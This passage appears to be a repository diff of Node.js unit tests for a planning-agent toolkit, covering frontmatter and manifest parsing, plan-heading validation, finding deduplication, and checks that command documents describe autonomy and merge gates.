'commands/trekplan.md Phase 9 should reinforce single-message parallel dispatch',
);
assert.ok(
orch.includes('single assistant message turn'),
'agents/planning-orchestrator.md Phase 6 should mirror the single-message parallel-dispatch contract',
);
// Dedup CLI shim is wired in both
assert.ok(
cmd.includes('plan-review-dedup.mjs'),
'commands/trekplan.md Phase 9 should call lib/review/plan-review-dedup.mjs after both reviewers complete',
);
assert.ok(
orch.includes('plan-review-dedup.mjs'),
'agents/planning-orchestrator.md Phase 6 should reference the dedup helper',
);
});
test('commands/trekplan.md Phase 8 seals Opus-4.7 schema-drift defense', () => {
const cmd = read('commands/trekplan.md');
// Locate Phase 8 section
const phase8Start = cmd.indexOf('## Phase 8');
assert.ok(phase8Start >= 0, 'Phase 8 heading missing');
const phase8End = cmd.indexOf('## Phase 9', phase8Start);
assert.ok(phase8End > phase8Start, 'Phase 9 heading missing — could not bound Phase 8');
const phase8 = cmd.slice(phase8Start, phase8End);
// Required regex source-of-truth references
assert.ok(
phase8.includes('STEP_HEADING_REGEX'),
'Phase 8 should inline STEP_HEADING_REGEX so format contract survives without orchestrator-doc loading',
);
assert.ok(
phase8.includes('FORBIDDEN_HEADING_REGEX'),
'Phase 8 should inline FORBIDDEN_HEADING_REGEX (Step 7 — schema-drift seal)',
);
// Required validator self-check
assert.ok(
phase8.includes('plan-validator.mjs --strict'),
'Phase 8 should mandate post-write `plan-validator.mjs --strict` self-check',
);
// Forbidden-headings list (literal "FORBIDDEN" appears more than once: in regex const + in human-readable list)
assert.ok(
/FORBIDDEN/.test(phase8),
'Phase 8 should explicitly enumerate FORBIDDEN headings',
);
});

View file

@ -0,0 +1,59 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { computeFindingId, parseFindingId } from '../../lib/parsers/finding-id.mjs';
test('computeFindingId — deterministic on same inputs', () => {
const a = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
const b = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
assert.equal(a, b);
});
test('computeFindingId — different file → different ID', () => {
const a = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
const b = computeFindingId('lib/bar.mjs', 42, 'MISSING_TEST');
assert.notEqual(a, b);
});
test('computeFindingId — different line → different ID', () => {
const a = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
const b = computeFindingId('lib/foo.mjs', 43, 'MISSING_TEST');
assert.notEqual(a, b);
});
test('computeFindingId — different rule_key → different ID', () => {
const a = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
const b = computeFindingId('lib/foo.mjs', 42, 'MISSING_BRIEF_REF');
assert.notEqual(a, b);
});
test('computeFindingId — output is 40-char lowercase hex', () => {
const id = computeFindingId('lib/foo.mjs', 42, 'MISSING_TEST');
assert.match(id, /^[0-9a-f]{40}$/);
});
test('computeFindingId — throws TypeError on null/undefined/empty inputs', () => {
assert.throws(() => computeFindingId(null, 1, 'X'), TypeError);
assert.throws(() => computeFindingId('', 1, 'X'), TypeError);
assert.throws(() => computeFindingId('a', null, 'X'), TypeError);
assert.throws(() => computeFindingId('a', undefined, 'X'), TypeError);
assert.throws(() => computeFindingId('a', '', 'X'), TypeError);
assert.throws(() => computeFindingId('a', 1, ''), TypeError);
assert.throws(() => computeFindingId('a', 1, null), TypeError);
assert.throws(() => computeFindingId('a', NaN, 'X'), TypeError);
});
test('parseFindingId — valid 40-char hex returns valid:true', () => {
const id = computeFindingId('a', 1, 'X');
assert.equal(parseFindingId(id).valid, true);
});
test('parseFindingId — bad input returns valid:false (no throw)', () => {
assert.equal(parseFindingId('').valid, false);
assert.equal(parseFindingId('xyz').valid, false);
assert.equal(parseFindingId('A'.repeat(40)).valid, false); // uppercase rejected
assert.equal(parseFindingId('0'.repeat(39)).valid, false); // too short
assert.equal(parseFindingId('0'.repeat(41)).valid, false); // too long
assert.equal(parseFindingId(null).valid, false);
assert.equal(parseFindingId(undefined).valid, false);
assert.equal(parseFindingId(42).valid, false);
});

View file

@ -0,0 +1,74 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { splitFrontmatter, parseFrontmatter, parseDocument } from '../../lib/util/frontmatter.mjs';
test('splitFrontmatter — basic LF', () => {
const r = splitFrontmatter('---\nfoo: bar\n---\nbody here\n');
assert.equal(r.hasFrontmatter, true);
assert.equal(r.frontmatter, 'foo: bar');
assert.equal(r.body, 'body here\n');
});
test('splitFrontmatter — CRLF tolerated', () => {
const r = splitFrontmatter('---\r\nfoo: bar\r\n---\r\nbody\r\n');
assert.equal(r.hasFrontmatter, true);
assert.equal(r.frontmatter, 'foo: bar');
});
test('splitFrontmatter — BOM stripped', () => {
const r = splitFrontmatter('---\nfoo: bar\n---\n');
assert.equal(r.hasFrontmatter, true);
});
test('splitFrontmatter — no frontmatter', () => {
const r = splitFrontmatter('# title\nbody only\n');
assert.equal(r.hasFrontmatter, false);
assert.match(r.body, /title/);
});
test('parseFrontmatter — string scalars', () => {
const r = parseFrontmatter('type: trekbrief\nslug: jwt-auth\n');
assert.equal(r.valid, true);
assert.equal(r.parsed.type, 'trekbrief');
assert.equal(r.parsed.slug, 'jwt-auth');
});
test('parseFrontmatter — number, bool, null', () => {
const r = parseFrontmatter('research_topics: 3\nautoResearch: true\nfoo: false\nbar: null\n');
assert.equal(r.parsed.research_topics, 3);
assert.equal(r.parsed.autoResearch, true);
assert.equal(r.parsed.foo, false);
assert.equal(r.parsed.bar, null);
});
test('parseFrontmatter — quoted strings', () => {
const r = parseFrontmatter('plan_version: "1.7"\nname: \'test thing\'\n');
assert.equal(r.parsed.plan_version, '1.7');
assert.equal(r.parsed.name, 'test thing');
});
test('parseFrontmatter — list of scalars', () => {
const r = parseFrontmatter('keywords:\n - planning\n - research\n - agents\n');
assert.equal(r.valid, true);
assert.deepEqual(r.parsed.keywords, ['planning', 'research', 'agents']);
});
test('parseFrontmatter — rejects nested dict', () => {
const r = parseFrontmatter('a: 1\n b: 2\n');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'FM_INDENT'));
});
test('parseDocument — full pipeline', () => {
const text = '---\ntype: trekbrief\nresearch_topics: 2\n---\n\n# Body\n\ncontent\n';
const r = parseDocument(text);
assert.equal(r.valid, true);
assert.equal(r.parsed.frontmatter.type, 'trekbrief');
assert.match(r.parsed.body, /content/);
});
test('parseDocument — missing frontmatter is an error', () => {
const r = parseDocument('# just markdown\nno frontmatter here\n');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'FM_MISSING'));
});

View file

@ -0,0 +1,48 @@
// tests/lib/gates-flag-coverage.test.mjs
// Step 11 (plan-v2) — pin that all four pipeline commands document the
// --gates autonomy-control flag and consume the autonomy-gate state
// machine via the lib/util/autonomy-gate.mjs CLI shim.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
function read(rel) { return readFileSync(join(ROOT, rel), 'utf-8'); }
const COMMANDS = [
'commands/trekbrief.md',
'commands/trekresearch.md',
'commands/trekplan.md',
'commands/trekexecute.md',
];
for (const cmdPath of COMMANDS) {
test(`${cmdPath} documents the --gates flag`, () => {
const text = read(cmdPath);
assert.ok(
text.includes('--gates'),
`${cmdPath} should document the --gates autonomy-control flag (Step 11)`,
);
});
test(`${cmdPath} wires the autonomy-gate.mjs CLI shim`, () => {
const text = read(cmdPath);
assert.ok(
text.includes('autonomy-gate.mjs'),
`${cmdPath} should reference lib/util/autonomy-gate.mjs as the state-machine implementation`,
);
});
}
test('commands/trekexecute.md mentions MAIN_MERGE_GATE', () => {
const text = read('commands/trekexecute.md');
assert.ok(
text.includes('MAIN_MERGE_GATE'),
'commands/trekexecute.md should name MAIN_MERGE_GATE — the only boundary that always pauses regardless of --gates',
);
});

View file

@ -0,0 +1,56 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { jaccardSimilarity, meetsThreshold } from '../../lib/parsers/jaccard.mjs';
test('jaccardSimilarity — identical sets → 1.0', () => {
assert.equal(jaccardSimilarity(['a', 'b', 'c'], ['a', 'b', 'c']), 1.0);
});
test('jaccardSimilarity — disjoint sets → 0.0', () => {
assert.equal(jaccardSimilarity(['a', 'b'], ['c', 'd']), 0.0);
});
test('jaccardSimilarity — partial overlap [a,b,c] vs [b,c,d] → 0.5', () => {
assert.equal(jaccardSimilarity(['a', 'b', 'c'], ['b', 'c', 'd']), 0.5);
});
test('jaccardSimilarity — both empty → 1.0', () => {
assert.equal(jaccardSimilarity([], []), 1.0);
});
test('jaccardSimilarity — one empty → 0.0', () => {
assert.equal(jaccardSimilarity([], ['a']), 0.0);
assert.equal(jaccardSimilarity(['a'], []), 0.0);
});
test('jaccardSimilarity — duplicates deduplicated within each set', () => {
// [a,a,b] dedup → {a,b}; [a,b,b] dedup → {a,b}; identical → 1.0
assert.equal(jaccardSimilarity(['a', 'a', 'b'], ['a', 'b', 'b']), 1.0);
});
test('jaccardSimilarity — fixture sets {α..ε} vs {α..ζ} → 0.833 (SC4 anchor)', () => {
// SC4 fixture math: A=5 IDs, B=A{ζ}=6 IDs, intersection=5, union=6 → 5/6
const A = ['α', 'β', 'γ', 'δ', 'ε'];
const B = ['α', 'β', 'γ', 'δ', 'ε', 'ζ'];
const sim = jaccardSimilarity(A, B);
assert.ok(Math.abs(sim - 5 / 6) < 1e-9);
assert.ok(sim >= 0.70); // SC4 threshold
});
test('jaccardSimilarity — non-array input throws TypeError', () => {
assert.throws(() => jaccardSimilarity('a', ['b']), TypeError);
assert.throws(() => jaccardSimilarity(['a'], null), TypeError);
});
test('meetsThreshold — boundary 0.699 → false, 0.700 → true', () => {
assert.equal(meetsThreshold(0.699, 0.7), false);
assert.equal(meetsThreshold(0.7, 0.7), true);
assert.equal(meetsThreshold(0.71, 0.7), true);
});
test('meetsThreshold — non-finite or non-number → false', () => {
assert.equal(meetsThreshold(NaN, 0.7), false);
assert.equal(meetsThreshold(Infinity, 0.7), false);
assert.equal(meetsThreshold('0.8', 0.7), false);
assert.equal(meetsThreshold(0.8, null), false);
});

View file

@ -0,0 +1,42 @@
// tests/lib/main-merge-gate.test.mjs
// Step 12 (plan-v2) — pin that commands/trekexecute.md Phase 8
// names the main-merge-gate lifecycle event, the decline + recovery
// surface, and the always-on gate prose.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
const CMD = readFileSync(join(ROOT, 'commands/trekexecute.md'), 'utf-8');
test('Phase 8 names the main-merge-gate lifecycle event', () => {
assert.ok(
CMD.includes('main-merge-gate'),
'commands/trekexecute.md should emit `main-merge-gate` from Phase 8',
);
});
test('Phase 8 documents both approved + declined event branches', () => {
assert.ok(CMD.includes('main-merge-approved'), 'should emit main-merge-approved on confirm');
assert.ok(CMD.includes('main-merge-declined'), 'should emit main-merge-declined on decline');
});
test('Phase 8 documents the --resume recovery surface for the main-merge gate', () => {
assert.ok(
CMD.includes('--resume re-enters'),
'Phase 8 should document that `--resume re-enters at the gate` after a decline',
);
});
test('Phase 8 main-merge gate is always-on (regardless of gates_mode)', () => {
// Main-merge gate is the one boundary that pauses on every run; the prose
// must say so explicitly so the contract survives copy-edit drift.
assert.ok(
/always[\s\S]{0,200}gates_mode|gates_mode[\s\S]{0,200}always|always pauses on every run/.test(CMD),
'Phase 8 should state main-merge gate is always-on, regardless of gates_mode',
);
});

View file

@ -0,0 +1,92 @@
// tests/lib/manifest-schema-extensions.test.mjs
// Cover the OPTIONAL_KEYS extension to lib/parsers/manifest-yaml.mjs:
// - skip_commit_check (boolean, default false)
// - memory_write (boolean, default false)
//
// Defaults must NOT break the REQUIRED_KEYS contract.
// Non-boolean values must produce MANIFEST_OPTIONAL_TYPE error.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { parseManifest, OPTIONAL_KEYS } from '../../lib/parsers/manifest-yaml.mjs';
const BASE = `### Step 1: Cover
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- lib/foo.mjs
min_file_count: 1
commit_message_pattern: "^feat:"
bash_syntax_check: []
forbidden_paths: []
must_contain: []`;
function bodyWithExtras(extras) {
return `${BASE}\n${extras}\n \`\`\`\n`;
}
function bodyOnlyRequired() {
return `${BASE}\n \`\`\`\n`;
}
test('OPTIONAL_KEYS exports skip_commit_check + memory_write', () => {
assert.deepEqual(
[...OPTIONAL_KEYS].sort(),
['memory_write', 'skip_commit_check'].sort(),
'OPTIONAL_KEYS export drift — pin contract',
);
});
test('absence of optional keys → defaults to false (both fields)', () => {
const r = parseManifest(bodyOnlyRequired());
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.skip_commit_check, false);
assert.equal(r.parsed.memory_write, false);
});
test('skip_commit_check: true honored', () => {
const r = parseManifest(bodyWithExtras(' skip_commit_check: true'));
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.skip_commit_check, true);
assert.equal(r.parsed.memory_write, false);
});
test('memory_write: true honored', () => {
const r = parseManifest(bodyWithExtras(' memory_write: true'));
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.memory_write, true);
assert.equal(r.parsed.skip_commit_check, false);
});
test('both optional fields together — both honored', () => {
const r = parseManifest(bodyWithExtras(' skip_commit_check: true\n memory_write: true'));
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.skip_commit_check, true);
assert.equal(r.parsed.memory_write, true);
});
test('skip_commit_check: non-boolean rejected with MANIFEST_OPTIONAL_TYPE', () => {
const r = parseManifest(bodyWithExtras(' skip_commit_check: "yes"'));
assert.equal(r.valid, false);
const found = r.errors.find(e => e.code === 'MANIFEST_OPTIONAL_TYPE');
assert.ok(found, `expected MANIFEST_OPTIONAL_TYPE, got: ${JSON.stringify(r.errors)}`);
assert.match(found.message, /skip_commit_check/);
});
test('memory_write: numeric rejected with MANIFEST_OPTIONAL_TYPE', () => {
const r = parseManifest(bodyWithExtras(' memory_write: 1'));
assert.equal(r.valid, false);
const found = r.errors.find(e => e.code === 'MANIFEST_OPTIONAL_TYPE');
assert.ok(found, `expected MANIFEST_OPTIONAL_TYPE, got: ${JSON.stringify(r.errors)}`);
assert.match(found.message, /memory_write/);
});
test('extension does NOT break REQUIRED_KEYS contract', () => {
const r = parseManifest(bodyOnlyRequired());
assert.equal(r.valid, true);
for (const k of ['expected_paths', 'min_file_count', 'commit_message_pattern',
'bash_syntax_check', 'forbidden_paths', 'must_contain']) {
assert.ok(k in r.parsed, `required key ${k} missing after extension`);
}
});

View file

@ -0,0 +1,138 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
extractManifestYaml,
parseManifest,
validateAllManifests,
} from '../../lib/parsers/manifest-yaml.mjs';
const STEP_BODY_GOOD = `### Step 1: Add validator
- Files: lib/foo.mjs
- Verify: \`npm test\` → expected: pass
- Checkpoint: \`git commit -m "feat(lib): foo"\`
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- lib/foo.mjs
min_file_count: 1
commit_message_pattern: "^feat\\\\(lib\\\\):"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
const STEP_BODY_NO_MANIFEST = `### Step 1: oops
no manifest here
`;
const STEP_BODY_INVALID_REGEX = `### Step 1: bad regex
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- x
min_file_count: 1
commit_message_pattern: "[unclosed"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
test('extractManifestYaml — finds fenced manifest block', () => {
const yaml = extractManifestYaml(STEP_BODY_GOOD);
assert.ok(yaml);
assert.match(yaml, /expected_paths/);
});
test('extractManifestYaml — null when missing', () => {
assert.equal(extractManifestYaml(STEP_BODY_NO_MANIFEST), null);
});
test('parseManifest — happy path produces all required keys', () => {
const r = parseManifest(STEP_BODY_GOOD);
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.deepEqual(r.parsed.expected_paths, ['lib/foo.mjs']);
assert.equal(r.parsed.min_file_count, 1);
assert.match(r.parsed.commit_message_pattern, /^\^feat/);
});
test('parseManifest — missing manifest produces MANIFEST_MISSING', () => {
const r = parseManifest(STEP_BODY_NO_MANIFEST);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING'));
});
test('parseManifest — invalid regex caught', () => {
const r = parseManifest(STEP_BODY_INVALID_REGEX);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_PATTERN_INVALID'));
});
test('parseManifest — missing required key flagged', () => {
const noCount = `### Step 1
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- x
commit_message_pattern: "^x:"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
const r = parseManifest(noCount);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING_KEY' && /min_file_count/.test(e.message)));
});
test('parseManifest — commit_message_pattern compiles via new RegExp', () => {
const r = parseManifest(STEP_BODY_GOOD);
const re = new RegExp(r.parsed.commit_message_pattern);
assert.ok(re.test('feat(lib): added foo'));
assert.ok(!re.test('chore: not it'));
});
test('parseManifest — must_contain list-of-dicts (real-world template form)', () => {
const body = `### Step 1: Real
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- a.json
- b.md
min_file_count: 2
commit_message_pattern: "^chore:"
bash_syntax_check: []
forbidden_paths:
- CHANGELOG.md
must_contain:
- path: a.json
pattern: '"version": "2\\.3\\.0"'
- path: b.md
pattern: "version-blue"
\`\`\`
`;
const r = parseManifest(body);
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.must_contain.length, 2);
assert.equal(r.parsed.must_contain[0].path, 'a.json');
assert.equal(r.parsed.must_contain[1].path, 'b.md');
assert.equal(r.parsed.forbidden_paths[0], 'CHANGELOG.md');
});
test('validateAllManifests — aggregates per-step issues', () => {
const steps = [
{ n: 1, body: STEP_BODY_GOOD },
{ n: 2, body: STEP_BODY_NO_MANIFEST },
];
const r = validateAllManifests(steps);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => /Step 2/.test(e.message)));
});

View file

@ -0,0 +1,134 @@
// tests/lib/plan-review-dedup.test.mjs
// Cover lib/review/plan-review-dedup.mjs:
// - identical findings dedupe to 1 (exact-id path)
// - distinct findings stay separate
// - jaccard threshold 0.7 catches near-duplicates
// - empty / missing payloads tolerated
// - CLI shim emits parseable JSON on stdout
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { execFileSync } from 'node:child_process';
import { writeFileSync, mkdtempSync, rmSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { tmpdir } from 'node:os';
import { fileURLToPath } from 'node:url';
import { dedupFindings, tokenize, DEFAULT_THRESHOLD } from '../../lib/review/plan-review-dedup.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const SHIM = join(HERE, '..', '..', 'lib', 'review', 'plan-review-dedup.mjs');
function tmp(prefix = 'plan-review-dedup-') {
return mkdtempSync(join(tmpdir(), prefix));
}
test('tokenize splits on non-word and lowercases', () => {
assert.deepEqual(
tokenize('Step 4 LACKS verifiable acceptance!'),
['step', '4', 'lacks', 'verifiable', 'acceptance'],
);
assert.deepEqual(tokenize(''), []);
assert.deepEqual(tokenize(undefined), []);
});
test('DEFAULT_THRESHOLD is 0.7 per plan-v2 spec', () => {
assert.equal(DEFAULT_THRESHOLD, 0.7);
});
test('identical findings (same file/line/rule_key) dedupe to 1, raised_by merged', () => {
const sources = [
{ agent: 'plan-critic', payload: { agent: 'plan-critic', findings: [{ file: 'plan.md', line: 42, rule_key: 'PC1', text: 'Step 4 lacks verifiable acceptance criteria' }] } },
{ agent: 'scope-guardian', payload: { agent: 'scope-guardian', findings: [{ file: 'plan.md', line: 42, rule_key: 'PC1', text: 'Step 4 lacks verifiable acceptance criteria' }] } },
];
const r = dedupFindings(sources);
assert.equal(r.findings.length, 1);
assert.deepEqual(r.findings[0].raised_by.sort(), ['plan-critic', 'scope-guardian']);
assert.equal(r.dedup_stats.total_in, 2);
assert.equal(r.dedup_stats.total_out, 1);
assert.equal(r.dedup_stats.exact_id_dups, 1);
});
test('distinct findings (different file/line/rule_key) stay separate', () => {
const sources = [
{ agent: 'plan-critic', payload: { findings: [
{ file: 'plan.md', line: 10, rule_key: 'PC1', text: 'thing one' },
{ file: 'plan.md', line: 20, rule_key: 'PC2', text: 'thing two unrelated entirely' },
] } },
];
const r = dedupFindings(sources);
assert.equal(r.findings.length, 2);
assert.equal(r.dedup_stats.exact_id_dups, 0);
assert.equal(r.dedup_stats.jaccard_dups, 0);
});
test('jaccard ≥ 0.7 on near-duplicate text merges (different file/line so id differs)', () => {
const sources = [
{ agent: 'plan-critic', payload: { findings: [{ file: 'plan.md', line: 10, rule_key: 'PC1', text: 'step lacks verifiable acceptance criteria for path A' }] } },
{ agent: 'scope-guardian', payload: { findings: [{ file: 'plan.md', line: 11, rule_key: 'SG1', text: 'step lacks verifiable acceptance criteria for path A' }] } },
];
const r = dedupFindings(sources);
assert.equal(r.findings.length, 1, 'jaccard merge should collapse near-duplicates');
assert.deepEqual(r.findings[0].raised_by.sort(), ['plan-critic', 'scope-guardian']);
assert.equal(r.dedup_stats.jaccard_dups, 1);
});
test('jaccard below threshold keeps both findings separate', () => {
const sources = [
{ agent: 'plan-critic', payload: { findings: [{ file: 'a.md', line: 1, rule_key: 'PC1', text: 'database migration risk' }] } },
{ agent: 'scope-guardian', payload: { findings: [{ file: 'b.md', line: 2, rule_key: 'SG1', text: 'unrelated frontend hover state polish' }] } },
];
const r = dedupFindings(sources);
assert.equal(r.findings.length, 2);
assert.equal(r.dedup_stats.jaccard_dups, 0);
});
test('empty / missing payloads tolerated (single-agent input)', () => {
const r = dedupFindings([
{ agent: 'plan-critic', payload: { findings: [{ file: 'a.md', line: 1, rule_key: 'PC1', text: 'one' }] } },
{ agent: 'scope-guardian', payload: null },
]);
assert.equal(r.findings.length, 1);
assert.deepEqual(r.findings[0].raised_by, ['plan-critic']);
});
test('all sources empty → empty result, dedup_stats zeros', () => {
const r = dedupFindings([
{ agent: 'plan-critic', payload: null },
{ agent: 'scope-guardian', payload: { findings: [] } },
]);
assert.equal(r.findings.length, 0);
assert.equal(r.dedup_stats.total_in, 0);
assert.equal(r.dedup_stats.total_out, 0);
});
test('CLI shim parses input files and emits valid deduped JSON', () => {
const dir = tmp();
try {
const planCritic = join(dir, 'pc.json');
const scopeGuardian = join(dir, 'sg.json');
writeFileSync(planCritic, JSON.stringify({
agent: 'plan-critic',
findings: [{ file: 'plan.md', line: 5, rule_key: 'PC1', text: 'duplicate finding shared by both' }],
}));
writeFileSync(scopeGuardian, JSON.stringify({
agent: 'scope-guardian',
findings: [{ file: 'plan.md', line: 5, rule_key: 'PC1', text: 'duplicate finding shared by both' }],
}));
const out = execFileSync(process.execPath, [
SHIM, '--plan-critic', planCritic, '--scope-guardian', scopeGuardian,
], { encoding: 'utf-8' });
const parsed = JSON.parse(out);
assert.equal(parsed.findings.length, 1);
assert.deepEqual(parsed.findings[0].raised_by.sort(), ['plan-critic', 'scope-guardian']);
assert.equal(parsed.dedup_stats.total_out, 1);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('CLI shim tolerates missing input files (returns empty deduped JSON)', () => {
const out = execFileSync(process.execPath, [SHIM], { encoding: 'utf-8' });
const parsed = JSON.parse(out);
assert.equal(parsed.findings.length, 0);
assert.equal(parsed.dedup_stats.total_in, 0);
});

View file

@ -0,0 +1,137 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
findSteps,
findForbiddenHeadings,
sliceSteps,
validatePlanHeadings,
extractPlanVersion,
} from '../../lib/parsers/plan-schema.mjs';
const GOOD_PLAN = `---
plan_version: "1.7"
---
## Implementation Plan
### Step 1: First step
- Files: a.ts
### Step 2: Second step
- Files: b.ts
### Step 3: Third step
- Files: c.ts
`;
const FORBIDDEN_FASE = `## Implementation Plan
## Fase 1: Forberedelse
content here
## Fase 2: Implementering
more content
`;
const FORBIDDEN_PHASE = `### Phase 1: Setup
content
`;
const FORBIDDEN_STAGE = `### Stage 1: Initial work
content
`;
const FORBIDDEN_STEG = `### Steg 1: Norsk drift
content
`;
test('findSteps — locates all canonical step headings', () => {
const steps = findSteps(GOOD_PLAN);
assert.equal(steps.length, 3);
assert.equal(steps[0].n, 1);
assert.equal(steps[0].title, 'First step');
assert.equal(steps[2].n, 3);
assert.equal(steps[2].title, 'Third step');
});
test('findSteps — empty for plan without steps', () => {
assert.deepEqual(findSteps('## Implementation Plan\n\nno steps yet'), []);
});
test('findForbiddenHeadings — Fase (Norwegian)', () => {
const f = findForbiddenHeadings(FORBIDDEN_FASE);
assert.equal(f.length, 2);
assert.match(f[0].raw, /Fase 1/);
});
test('findForbiddenHeadings — Phase (English)', () => {
const f = findForbiddenHeadings(FORBIDDEN_PHASE);
assert.equal(f.length, 1);
});
test('findForbiddenHeadings — Stage', () => {
assert.equal(findForbiddenHeadings(FORBIDDEN_STAGE).length, 1);
});
test('findForbiddenHeadings — Steg (Norwegian variant)', () => {
assert.equal(findForbiddenHeadings(FORBIDDEN_STEG).length, 1);
});
test('findForbiddenHeadings — clean plan has zero', () => {
assert.equal(findForbiddenHeadings(GOOD_PLAN).length, 0);
});
test('sliceSteps — body bounded by next step', () => {
const sections = sliceSteps(GOOD_PLAN);
assert.equal(sections.length, 3);
assert.match(sections[0].body, /First step/);
assert.match(sections[0].body, /Files: a\.ts/);
assert.ok(!sections[0].body.includes('Second step'));
});
test('validatePlanHeadings — strict accepts good plan', () => {
const r = validatePlanHeadings(GOOD_PLAN, { strict: true });
assert.equal(r.valid, true);
assert.equal(r.parsed.steps.length, 3);
});
test('validatePlanHeadings — strict rejects forbidden Fase form', () => {
const r = validatePlanHeadings(FORBIDDEN_FASE, { strict: true });
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'));
});
test('validatePlanHeadings — soft mode demotes forbidden to warning', () => {
const r = validatePlanHeadings(`### Step 1: ok\n\n### Phase 2: drift\n`, { strict: false });
assert.equal(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'), undefined);
assert.ok(r.warnings.find(w => w.code === 'PLAN_FORBIDDEN_HEADING'));
});
test('validatePlanHeadings — non-contiguous numbering is an error', () => {
const broken = '### Step 1: ok\ncontent\n\n### Step 3: skip\ncontent\n';
const r = validatePlanHeadings(broken, { strict: true });
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PLAN_STEP_NUMBERING'));
});
test('validatePlanHeadings — empty plan errors with PLAN_NO_STEPS', () => {
const r = validatePlanHeadings('## Implementation Plan\n\nno steps\n');
assert.ok(r.errors.find(e => e.code === 'PLAN_NO_STEPS'));
});
test('extractPlanVersion — from frontmatter', () => {
assert.equal(extractPlanVersion('plan_version: "1.7"\nfoo: bar\n'), '1.7');
assert.equal(extractPlanVersion('plan_version: 1.8\n'), '1.8');
});
test('extractPlanVersion — null when absent', () => {
assert.equal(extractPlanVersion('foo: bar\n'), null);
});

View file

@ -0,0 +1,148 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
discoverProject,
checkPhaseRequirements,
} from '../../lib/parsers/project-discovery.mjs';
function setupProject(structure) {
const root = mkdtempSync(join(tmpdir(), 'trekplan-disc-'));
for (const [path, content] of Object.entries(structure)) {
const full = join(root, path);
mkdirSync(join(full, '..'), { recursive: true });
writeFileSync(full, content);
}
return root;
}
test('discoverProject — finds brief, plan, progress at root', () => {
const root = setupProject({
'brief.md': 'b',
'plan.md': 'p',
'progress.json': '{}',
});
try {
const a = discoverProject(root);
assert.equal(a.brief, join(root, 'brief.md'));
assert.equal(a.plan, join(root, 'plan.md'));
assert.equal(a.progress, join(root, 'progress.json'));
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — research files sorted by name', () => {
const root = setupProject({
'brief.md': 'b',
'research/03-third.md': 't',
'research/01-first.md': 'f',
'research/02-second.md': 's',
});
try {
const a = discoverProject(root);
assert.equal(a.research.length, 3);
assert.match(a.research[0], /01-first/);
assert.match(a.research[1], /02-second/);
assert.match(a.research[2], /03-third/);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — architecture overview + gaps detected', () => {
const root = setupProject({
'brief.md': 'b',
'architecture/overview.md': 'o',
'architecture/gaps.md': 'g',
});
try {
const a = discoverProject(root);
assert.match(a.architecture.overview, /architecture\/overview\.md$/);
assert.match(a.architecture.gaps, /architecture\/gaps\.md$/);
assert.equal(a.architecture.looseFiles.length, 0);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — loose architecture files surfaced for drift detection', () => {
const root = setupProject({
'architecture/overview.md': 'o',
'architecture/random-note.md': 'x',
});
try {
const a = discoverProject(root);
assert.equal(a.architecture.looseFiles.length, 1);
assert.match(a.architecture.looseFiles[0], /random-note/);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — missing project dir returns empty artifacts', () => {
const a = discoverProject('/nonexistent/path/unlikely');
assert.equal(a.brief, null);
assert.equal(a.research.length, 0);
});
test('checkPhaseRequirements — research needs brief', () => {
const r = checkPhaseRequirements({ brief: null }, 'research');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
});
test('checkPhaseRequirements — execute needs plan', () => {
